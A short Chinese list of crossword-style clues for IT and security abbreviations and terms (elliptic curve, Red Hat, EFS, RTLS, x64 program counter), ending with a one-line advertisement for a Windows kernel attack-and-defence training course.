- 椭圆曲线的简称 (Elliptic curve in short)
- 路由器中可用的一种转换类型
- 安全令牌,一种用于访问受限资源的设备
- Red Hat 的缩写
- 许多 IT 人员的必需品
- RGB 中的 G
- 20 世纪 90 年代著名的远程系统管理工具的缩写
- GCC 是其组成部分
- ASCII 去掉元音字母后的读音
- 机器学习的常用名称
- 通常出现在消息框中的第二或第三个按钮
- 比进程更小的单位
- Microsoft Excel 文件的扩展名
- 持续授权 (Ongoing Authorization)
- 实时定位系统 (Real-Time Location System)
- 选择你自己的设备 (Choose Your Own Device)
- 异常级别 (Exception Level)
- 风险评估 (Risk Assessment)
- 操作系统 (Operating system)
- x86 架构中的近返回指令 (Return near)
- 加密文件系统 (Encrypted File System)
- x64 架构中的程序计数器寄存器
- 以太坊域名服务 (Ethereum Name Service)
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!